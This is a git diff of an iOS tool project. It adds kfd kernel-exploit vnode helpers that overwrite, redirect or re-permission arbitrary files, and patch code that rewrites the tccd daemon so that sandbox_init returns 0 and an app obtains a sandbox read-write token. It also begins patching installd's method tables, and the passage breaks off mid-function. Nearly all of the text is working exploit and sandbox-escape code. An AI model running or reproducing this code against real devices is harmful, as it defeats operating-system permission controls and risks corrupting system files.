@@ -0,0 +1,46 @@ +// +// vnode.h +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#include + +#define MNT_RDONLY 0x00000001 /* read only filesystem */ +#define VISSHADOW 0x008000 /* vnode is a shadow file */ + +uint64_t getVnodeAtPath(char* filename); +uint64_t findRootVnode(void); + +/* +Description: + Hide and reveal file or directory. +*/ +uint64_t funVnodeHide(char* filename); + +/* +Description: + Perform chown to file or directory. +*/ +uint64_t funVnodeChown(char* filename, uid_t uid, gid_t gid); + +/* +Description: + Perform chmod to file or directory. +*/ +uint64_t funVnodeChmod(char* filename, mode_t mode); + +/* +Description: + Redirect directory to another directory. + Only work when mount points of directories are same. +*/ +uint64_t funVnodeRedirectFolder(char* to, char* from); + +/* +Description: + Perform overwrite file data to file. + Only work when file size is 'lower or same' than original file size. +*/ +uint64_t funVnodeOverwriteFile(char* to, char* from); diff --git a/WDBFontOverwrite/grant_full_disk_access.h b/WDBFontOverwrite/grant_full_disk_access.h index 015b45b..31a99b9 100644 --- a/WDBFontOverwrite/grant_full_disk_access.h +++ b/WDBFontOverwrite/grant_full_disk_access.h @@ -1,13 +1,5 @@ -// -// grant_full_disk_access.h -// WDBFontOverwrite -// -// Created by Noah Little on 29/1/2023. -// -@import Foundation; -#ifndef grant_full_disk_access_h -#define grant_full_disk_access_h +#import -void grant_full_disk_access(void (^completion)(NSError* _Nullable)); - -#endif /* grant_full_disk_access_h */ +/// Uses kfd exploit to grant the current app read/write access outside the sandbox. +void grant_full_disk_access(void (^_Nonnull completion)(NSError* _Nullable)); +bool patch_installd(void); diff --git a/WDBFontOverwrite/grant_full_disk_access.m b/WDBFontOverwrite/grant_full_disk_access.m index 152325e..73f5213 100644 --- a/WDBFontOverwrite/grant_full_disk_access.m +++ b/WDBFontOverwrite/grant_full_disk_access.m @@ -1,6 +1,7 @@ -@import Darwin; -@import Foundation; -@import MachO; +#import +#import +#import +#import #import // you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from @@ -8,8 +9,10 @@ // Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything) // Please don't call this code on iOS 14 or below // (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot) +#import "grant_full_disk_access.h" #import "helpers.h" -#import "vm_unaligned_copy_switch_race.h" +#import "vnode.h" +#import "thanks_opa334dev_htrowii.h" typedef NSObject* xpc_object_t; typedef xpc_object_t xpc_connection_t; @@ -34,76 +37,76 @@ xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connec // MARK: - patchfind struct grant_full_disk_access_offsets { - uint64_t offset_addr_s_com_apple_tcc_; - uint64_t offset_padding_space_for_read_write_string; - uint64_t offset_addr_s_kTCCServiceMediaLibrary; - uint64_t offset_auth_got__sandbox_init; - uint64_t offset_just_return_0; - bool is_arm64e; + uint64_t offset_addr_s_com_apple_tcc_; + uint64_t offset_padding_space_for_read_write_string; + uint64_t offset_addr_s_kTCCServiceMediaLibrary; + uint64_t offset_auth_got__sandbox_init; + uint64_t offset_just_return_0; + bool is_arm64e; }; static bool patchfind_sections(void* executable_map, struct segment_command_64** data_const_segment_out, struct symtab_command** symtab_out, struct dysymtab_command** dysymtab_out) { - struct mach_header_64* executable_header = executable_map; - struct load_command* load_command = executable_map + sizeof(struct mach_header_64); - for (int load_command_index = 0; load_command_index < executable_header->ncmds; - load_command_index++) { - switch (load_command->cmd) { - case LC_SEGMENT_64: { - struct segment_command_64* segment = (struct segment_command_64*)load_command; - if (strcmp(segment->segname, "__DATA_CONST") == 0) { - *data_const_segment_out = segment; + struct mach_header_64* executable_header = executable_map; + struct load_command* load_command = executable_map + sizeof(struct mach_header_64); + for (int load_command_index = 0; load_command_index < executable_header->ncmds; + load_command_index++) { + switch (load_command->cmd) { + case LC_SEGMENT_64: { + struct segment_command_64* segment = (struct segment_command_64*)load_command; + if (strcmp(segment->segname, "__DATA_CONST") == 0) { + *data_const_segment_out = segment; + } + break; + } + case LC_SYMTAB: { + *symtab_out = (struct symtab_command*)load_command; + break; + } + case LC_DYSYMTAB: { + *dysymtab_out = (struct dysymtab_command*)load_command; + break; + } } - break; - } - case LC_SYMTAB: { - *symtab_out = (struct symtab_command*)load_command; - break; - } - case LC_DYSYMTAB: { - *dysymtab_out = (struct dysymtab_command*)load_command; - break; - } + load_command = ((void*)load_command) + load_command->cmdsize; } - load_command = ((void*)load_command) + load_command->cmdsize; - } - return true; + return true; } static uint64_t patchfind_get_padding(struct segment_command_64* segment) { - struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64); - struct section_64* last_section = §ion_array[segment->nsects - 1]; - return last_section->offset + last_section->size; + struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64); + struct section_64* last_section = §ion_array[segment->nsects - 1]; + return last_section->offset + last_section->size; } static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length, const char* needle) { - void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1); - if (!str_offset) { - return 0; - } - uint64_t str_file_offset = str_offset - executable_map; - for (int i = 0; i < executable_length; i += 8) { - uint64_t val = *(uint64_t*)(executable_map + i); - if ((val & 0xfffffffful) == str_file_offset) { - return i; + void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1); + if (!str_offset) { + return 0; + } + uint64_t str_file_offset = str_offset - executable_map; + for (int i = 0; i < executable_length; i += 8) { + uint64_t val = *(uint64_t*)(executable_map + i); + if ((val & 0xfffffffful) == str_file_offset) { + return i; + } } - } - return 0; + return 0; } static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) { - // TCCDSyncAccessAction::sequencer - // mov x0, #0 - // ret - static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6}; - void* offset = memmem(executable_map, executable_length, needle, sizeof(needle)); - if (!offset) { - return 0; - } - return offset - executable_map; + // TCCDSyncAccessAction::sequencer + // mov x0, #0 + // ret + static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6}; + void* offset = memmem(executable_map, executable_length, needle, sizeof(needle)); + if (!offset) { + return 0; + } + return offset - executable_map; } static uint64_t patchfind_got(void* executable_map, size_t executable_length, @@ -111,317 +114,511 @@ static uint64_t patchfind_got(void* executable_map, size_t executable_length, struct symtab_command* symtab_command, struct dysymtab_command* dysymtab_command, const char* target_symbol_name) { - uint64_t target_symbol_index = 0; - for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) { - struct nlist_64* sym = + uint64_t target_symbol_index = 0; + for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) { + struct nlist_64* sym = ((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index; - const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx; - if (strcmp(sym_name, target_symbol_name)) { - continue; + const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx; + if (strcmp(sym_name, target_symbol_name)) { + continue; + } + // printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map)); + target_symbol_index = sym_index; + break; } - // printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map)); - target_symbol_index = sym_index; - break; - } - - struct section_64* section_array = - ((void*)data_const_segment) + sizeof(struct segment_command_64); - struct section_64* first_section = §ion_array[0]; - if (!(strcmp(first_section->sectname, "__auth_got") == 0 || - strcmp(first_section->sectname, "__got") == 0)) { - return 0; - } - uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff; - - for (int i = 0; i < first_section->size; i += 8) { - uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i); - uint64_t indirect_table_entry = (val & 0xfffful); - if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) { - return first_section->offset + i; + + struct section_64* section_array = + ((void*)data_const_segment) + sizeof(struct segment_command_64); + struct section_64* first_section = §ion_array[0]; + if (!(strcmp(first_section->sectname, "__auth_got") == 0 || + strcmp(first_section->sectname, "__got") == 0)) { + return 0; } - } - return 0; + uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff; + + for (int i = 0; i < first_section->size; i += 8) { + uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i); + uint64_t indirect_table_entry = (val & 0xfffful); + if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) { + return first_section->offset + i; + } + } + return 0; } static bool patchfind(void* executable_map, size_t executable_length, struct grant_full_disk_access_offsets* offsets) { - struct segment_command_64* data_const_segment = nil; - struct symtab_command* symtab_command = nil; - struct dysymtab_command* dysymtab_command = nil; - if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command, - &dysymtab_command)) { - printf("no sections\n"); - return false; - } - if ((offsets->offset_addr_s_com_apple_tcc_ = - patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) { - printf("no com.apple.tcc. string\n"); - return false; - } - if ((offsets->offset_padding_space_for_read_write_string = - patchfind_get_padding(data_const_segment)) == 0) { - printf("no padding\n"); - return false; - } - if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string( - executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) { - printf("no kTCCServiceMediaLibrary string\n"); - return false; - } - if ((offsets->offset_auth_got__sandbox_init = - patchfind_got(executable_map, executable_length, data_const_segment, symtab_command, - dysymtab_command, "_sandbox_init")) == 0) { - printf("no sandbox_init\n"); - return false; - } - if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) == - 0) { - printf("no just return 0\n"); - return false; - } - struct mach_header_64* executable_header = executable_map; - offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E; - - return true; + struct segment_command_64* data_const_segment = nil; + struct symtab_command* symtab_command = nil; + struct dysymtab_command* dysymtab_command = nil; + if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command, + &dysymtab_command)) { + printf("no sections\n"); + return false; + } + if ((offsets->offset_addr_s_com_apple_tcc_ = + patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) { + printf("no com.apple.tcc. string\n"); + return false; + } + if ((offsets->offset_padding_space_for_read_write_string = + patchfind_get_padding(data_const_segment)) == 0) { + printf("no padding\n"); + return false; + } + if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string( + executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) { + printf("no kTCCServiceMediaLibrary string\n"); + return false; + } + if ((offsets->offset_auth_got__sandbox_init = + patchfind_got(executable_map, executable_length, data_const_segment, symtab_command, + dysymtab_command, "_sandbox_init")) == 0) { + printf("no sandbox_init\n"); + return false; + } + if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) == + 0) { + printf("no just return 0\n"); + return false; + } + struct mach_header_64* executable_header = executable_map; + offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E; + + return true; } // MARK: - tccd patching static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) { - // reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can - // re-use it until next reboot. - // Returns the sandbox token if there is one, or nil if there isn't one. - xpc_connection_t connection = xpc_connection_create_mach_service( - "com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0); - xpc_connection_set_event_handler(connection, ^(xpc_object_t object) { - NSLog(@"xpc event handler: %@", object); - }); - xpc_connection_resume(connection); - const char* keys[] = { - "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight", - "target_token", "background_session", - }; - xpc_object_t values[] = { - xpc_string_create("17087.1"), - xpc_string_create("TCCAccessRequest"), - xpc_string_create("com.apple.app-sandbox.read-write"), - xpc_null_create(), - xpc_bool_create(false), - xpc_null_create(), - xpc_bool_create(false), - }; - xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys)); + // reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can + // re-use it until next reboot. + // Returns the sandbox token if there is one, or nil if there isn't one. + xpc_connection_t connection = xpc_connection_create_mach_service( + "com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0); + xpc_connection_set_event_handler(connection, ^(xpc_object_t object) { + NSLog(@"xpc event handler: %@", object); + }); + xpc_connection_resume(connection); + const char* keys[] = { + "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight", + "target_token", "background_session", + }; + xpc_object_t values[] = { + xpc_string_create("17087.1"), + xpc_string_create("TCCAccessRequest"), + xpc_string_create("com.apple.app-sandbox.read-write"), + xpc_null_create(), + xpc_bool_create(false), + xpc_null_create(), + xpc_bool_create(false), + }; + xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys)); #if 0 - xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message); - NSLog(@"%@", response_message); - + xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message); + NSLog(@"%@", response_message); + #endif - xpc_connection_send_message_with_reply( - connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), - ^(xpc_object_t object) { - if (!object) { - NSLog(@"object is nil???"); - completion(nil); - return; - } - NSLog(@"response: %@", object); - if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) { - NSLog(@"xpc error?"); - completion(nil); - return; - } - NSLog(@"debug description: %@", [object debugDescription]); - const char* extension_string = xpc_dictionary_get_string(object, "extension"); - NSString* extension_nsstring = - extension_string ? [NSString stringWithUTF8String:extension_string] : nil; - completion(extension_nsstring); - }); + xpc_connection_send_message_with_reply( + connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), + ^(xpc_object_t object) { + if (!object) { + NSLog(@"object is nil???"); + completion(nil); + return; + } + NSLog(@"response: %@", object); + if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) { + NSLog(@"xpc error?"); + completion(nil); + return; + } + NSLog(@"debug description: %@", [object debugDescription]); + const char* extension_string = xpc_dictionary_get_string(object, "extension"); + NSString* extension_nsstring = + extension_string ? [NSString stringWithUTF8String:extension_string] : nil; + completion(extension_nsstring); + }); } static NSData* patchTCCD(void* executableMap, size_t executableLength) { - struct grant_full_disk_access_offsets offsets = {}; - if (!patchfind(executableMap, executableLength, &offsets)) { - return nil; - } - - NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength]; - // strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr); - char* mutableBytes = data.mutableBytes; - { - // rewrite com.apple.tcc. into blank string - *(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0; - } - { - // make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write" - // we need to stick this somewhere; just put it in the padding between - // the end of __objc_arrayobj and the end of __DATA_CONST - strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string), - "com.apple.app-sandbox.read-write"); - struct dyld_chained_ptr_arm64e_rebase targetRebase = + struct grant_full_disk_access_offsets offsets = {}; + if (!patchfind(executableMap, executableLength, &offsets)) { + return nil; + } + + NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength]; + // strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr); + char* mutableBytes = data.mutableBytes; + { + // rewrite com.apple.tcc. into blank string + *(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0; + } + { + // make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write" + // we need to stick this somewhere; just put it in the padding between + // the end of __objc_arrayobj and the end of __DATA_CONST + strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string), + "com.apple.app-sandbox.read-write"); + struct dyld_chained_ptr_arm64e_rebase targetRebase = *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary); - targetRebase.target = offsets.offset_padding_space_for_read_write_string; - *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + - offsets.offset_addr_s_kTCCServiceMediaLibrary) = + targetRebase.target = offsets.offset_padding_space_for_read_write_string; + *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + + offsets.offset_addr_s_kTCCServiceMediaLibrary) = targetRebase; - *(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) = + *(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) = strlen("com.apple.app-sandbox.read-write"); - } - if (offsets.is_arm64e) { - // make sandbox_init call return 0; - struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = { - .auth = 1, - .bind = 0, - .next = 1, - .key = 0, // IA - .addrDiv = 1, - .diversity = 0, - .target = offsets.offset_just_return_0, - }; - *(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes + - offsets.offset_auth_got__sandbox_init) = + } + if (offsets.is_arm64e) { + // make sandbox_init call return 0; + struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = { + .auth = 1, + .bind = 0, + .next = 1, + .key = 0, // IA + .addrDiv = 1, + .diversity = 0, + .target = offsets.offset_just_return_0, + }; + *(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes + + offsets.offset_auth_got__sandbox_init) = targetRebase; - } else { - // make sandbox_init call return 0; - struct dyld_chained_ptr_64_rebase targetRebase = { - .bind = 0, - .next = 2, - .target = offsets.offset_just_return_0, - }; - *(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) = + } else { + // make sandbox_init call return 0; + struct dyld_chained_ptr_64_rebase targetRebase = { + .bind = 0, + .next = 2, + .target = offsets.offset_just_return_0, + }; + *(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) = targetRebase; - } - return data; + } + return data; } -static bool overwrite_file(int fd, NSData* sourceData) { - for (int off = 0; off < sourceData.length; off += 0x4000) { - bool success = false; - for (int i = 0; i < 2; i++) { - if (unaligned_copy_switch_race( - fd, off, sourceData.bytes + off, - off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) { - success = true; - break; - } - } - if (!success) { - return false; - } - } - return true; +static bool overwrite_file(char* to, char* from) { + if(funVnodeOverwrite2(to, from) == 0) + return true; + return false; } static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token, NSError* _Nullable error)) { - char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd"; - int fd = open(targetPath, O_RDONLY | O_CLOEXEC); - if (fd == -1) { - // iOS 15.3 and below - targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd"; - fd = open(targetPath, O_RDONLY | O_CLOEXEC); - } - off_t targetLength = lseek(fd, 0, SEEK_END); - lseek(fd, 0, SEEK_SET); - void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0); + char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd"; + int fd = open(targetPath, O_RDONLY | O_CLOEXEC); + if (fd == -1) { + // iOS 15.3 and below + targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd"; + fd = open(targetPath, O_RDONLY | O_CLOEXEC); + } + off_t targetLength = lseek(fd, 0, SEEK_END); + lseek(fd, 0, SEEK_SET); + void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0); + + NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength]; + NSData* sourceData = patchTCCD(targetMap, targetLength); + if (!sourceData) { + completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:5 + userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]); + return; + } + + NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask][0]; + NSURL* tccd_orig = [documentDirectory URLByAppendingPathComponent:@"tccd_orig.bin"]; + NSURL* tccd_patched = [documentDirectory URLByAppendingPathComponent:@"tccd_patched.bin"]; + + [[NSFileManager defaultManager] removeItemAtURL:tccd_orig error:nil]; + [[NSFileManager defaultManager] removeItemAtURL:tccd_patched error:nil]; + + [originalData writeToURL:tccd_orig atomically:true]; + [sourceData writeToURL:tccd_patched atomically:true]; + +// if (!overwrite_file(targetPath, tccd_patched.path.UTF8String)) { +// overwrite_file(targetPath, tccd_orig.path.UTF8String); +// munmap(targetMap, targetLength); +// completion( +// nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" +// code:1 +// userInfo:@{ +// NSLocalizedDescriptionKey : @"Can't overwrite file: your device may " +// @"not be vulnerable to CVE-2022-46689." +// }]); +// return; +// } +// munmap(targetMap, targetLength); + +// xpc_crasher("com.apple.tccd"); +// sleep(1); + //Even FREEZING when overwrite original data +// overwrite_file(targetPath, tccd_orig.path.UTF8String); +// xpc_crasher("com.apple.tccd"); +// call_tccd(^(NSString* _Nullable extension_token) { +// overwrite_file(targetPath, tccd_orig.path.UTF8String); +// xpc_crasher("com.apple.tccd"); +// NSError* returnError = nil; +// if (extension_token == nil) { +// returnError = +// [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" +// code:2 +// userInfo:@{ +// NSLocalizedDescriptionKey : @"tccd did not return an extension token." +// }]; +// } else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) { +// returnError = [NSError +// errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" +// code:3 +// userInfo:@{ +// NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token " +// @"instead of an app sandbox token." +// }]; +// extension_token = nil; +// } +// completion(extension_token, returnError); +// }); +} - NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength]; - NSData* sourceData = patchTCCD(targetMap, targetLength); - if (!sourceData) { - completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" - code:5 - userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]); - return; - } +void grant_full_disk_access(void (^completion)(NSError* _Nullable)) { + if (!NSClassFromString(@"NSPresentationIntent")) { + // class introduced in iOS 15.0. + // TODO(zhuowei): maybe check the actual OS version instead? + completion([NSError + errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:6 + userInfo:@{ + NSLocalizedDescriptionKey : + @"Not supported on iOS 14 and below: on iOS 14 the system partition is not " + @"reverted after reboot, so running this may permanently corrupt tccd." + }]); + return; + } + NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory + inDomains:NSUserDomainMask][0]; + NSURL* sourceURL = + [documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"]; + NSError* error = nil; + NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL + encoding:NSUTF8StringEncoding + error:&error]; + if (cachedToken) { + int64_t handle = sandbox_extension_consume(cachedToken.UTF8String); + if (handle > 0) { + // cached version worked + completion(nil); + return; + } + } + grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) { + if (error) { + completion(error); + return; + } + int64_t handle = sandbox_extension_consume(extension_token.UTF8String); + if (handle <= 0) { + completion([NSError + errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:4 + userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]); + return; + } + [extension_token writeToURL:sourceURL + atomically:true + encoding:NSUTF8StringEncoding + error:&error]; + completion(nil); + }); +} - if (!overwrite_file(fd, sourceData)) { - overwrite_file(fd, originalData); - munmap(targetMap, targetLength); - completion( - nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" - code:1 - userInfo:@{ - NSLocalizedDescriptionKey : @"Can't overwrite file: your device may " - @"not be vulnerable to CVE-2022-46689." - }]); - return; - } - munmap(targetMap, targetLength); +/// MARK - installd patch +struct installd_remove_app_limit_offsets { + uint64_t offset_objc_method_list_t_MIInstallableBundle; + uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods; + uint64_t offset_data_const_end_padding; + // MIUninstallRecord::supportsSecureCoding + uint64_t offset_return_true; +}; + +struct installd_remove_app_limit_offsets gAppLimitOffsets = { + .offset_objc_method_list_t_MIInstallableBundle = 0x519b0, + .offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8, + .offset_data_const_end_padding = 0x79c38, + .offset_return_true = 0x19860, +}; + +static uint64_t patchfind_find_class_rw_t_baseMethods(void* executable_map, + size_t executable_length, + const char* needle) { + void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1); + if (!str_offset) { + return 0; + } + uint64_t str_file_offset = str_offset - executable_map; + for (int i = 0; i < executable_length - 8; i += 8) { + uint64_t val = *(uint64_t*)(executable_map + i); + if ((val & 0xfffffffful) != str_file_offset) { + continue; + } + // baseMethods + if (*(uint64_t*)(executable_map + i + 8) != 0) { + return i + 8; + } + } + return 0; +} - xpc_crasher("com.apple.tccd"); - sleep(1); - call_tccd(^(NSString* _Nullable extension_token) { - overwrite_file(fd, originalData); - xpc_crasher("com.apple.tccd"); - NSError* returnError = nil; - if (extension_token == nil) { - returnError = - [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" - code:2 - userInfo:@{ - NSLocalizedDescriptionKey : @"tccd did not return an extension token." - }]; - } else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) { - returnError = [NSError - errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" - code:3 - userInfo:@{ - NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token " - @"instead of an app sandbox token." - }]; - extension_token = nil; +static uint64_t patchfind_return_true(void* executable_map, size_t executable_length) { + // mov w0, #1 + // ret + static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6}; + void* offset = memmem(executable_map, executable_length, needle, sizeof(needle)); + if (!offset) { + return 0; } - completion(extension_token, returnError); - }); + return offset - executable_map; } -void grant_full_disk_access(void (^completion)(NSError* _Nullable)) { - if (!NSClassFromString(@"NSPresentationIntent")) { - // class introduced in iOS 15.0. - // TODO(zhuowei): maybe check the actual OS version instead? - completion([NSError - errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" - code:6 - userInfo:@{ - NSLocalizedDescriptionKey : - @"Not supported on iOS 14 and below: on iOS 14 the system partition is not " - @"reverted after reboot, so running this may permanently corrupt tccd." - }]); - return; - } - NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory - inDomains:NSUserDomainMask][0]; - NSURL* sourceURL = - [documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"]; - NSError* error = nil; - NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL - encoding:NSUTF8StringEncoding - error:&error]; - if (cachedToken) { - int64_t handle = sandbox_extension_consume(cachedToken.UTF8String); - if (handle > 0) { - // cached version worked - completion(nil); - return; +static bool patchfind_installd(void* executable_map, size_t executable_length, + struct installd_remove_app_limit_offsets* offsets) { + struct segment_command_64* data_const_segment = nil; + struct symtab_command* symtab_command = nil; + struct dysymtab_command* dysymtab_command = nil; + if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command, + &dysymtab_command)) { + printf("no sections\n"); + return false; + } + if ((offsets->offset_data_const_end_padding = patchfind_get_padding(data_const_segment)) == 0) { + printf("no padding\n"); + return false; } - } - grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) { - if (error) { - completion(error); - return; + if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods = + patchfind_find_class_rw_t_baseMethods(executable_map, executable_length, + "MIInstallableBundle")) == 0) { + printf("no MIInstallableBundle class_rw_t\n"); + return false; } - int64_t handle = sandbox_extension_consume(extension_token.UTF8String); - if (handle <= 0) { - completion([NSError - errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" - code:4 - userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]); - return; + offsets->offset_objc_method_list_t_MIInstallableBundle = + (*(uint64_t*)(executable_map + + offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) & + 0xffffffull; + + if ((offsets->offset_return_true = patchfind_return_true(executable_map, executable_length)) == + 0) { + printf("no return true\n"); + return false; } - [extension_token writeToURL:sourceURL - atomically:true - encoding:NSUTF8StringEncoding - error:&error]; - completion(nil); - }); + return true; +} + +struct objc_method { + int32_t name; + int32_t types; + int32_t imp; +}; + +struct objc_method_list { + uint32_t entsizeAndFlags; + uint32_t count; + struct objc_method methods[]; +}; + +static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset, + uint64_t new_offset, uint64_t* out_copied_length, + void (^callback)(const char* sel, + uint64_t* inout_function_pointer)) { + struct objc_method_list* original_list = mutableBytes + old_offset; + struct objc_method_list* new_list = mutableBytes + new_offset; + *out_copied_length = + sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method); + new_list->entsizeAndFlags = original_list->entsizeAndFlags; + new_list->count = original_list->count; + for (int method_index = 0; method_index < original_list->count; method_index++) { + struct objc_method* method = &original_list->methods[method_index]; + // Relative pointers + uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name; + uint64_t types_file_offset = + ((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types; + uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp; + const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull); + callback(sel, &imp_file_offset); + + struct objc_method* new_method = &new_list->methods[method_index]; + new_method->name = (int32_t)((int64_t)name_file_offset - + (int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes)); + new_method->types = (int32_t)((int64_t)types_file_offset - + (int64_t)((uint64_t)&new_method->types - 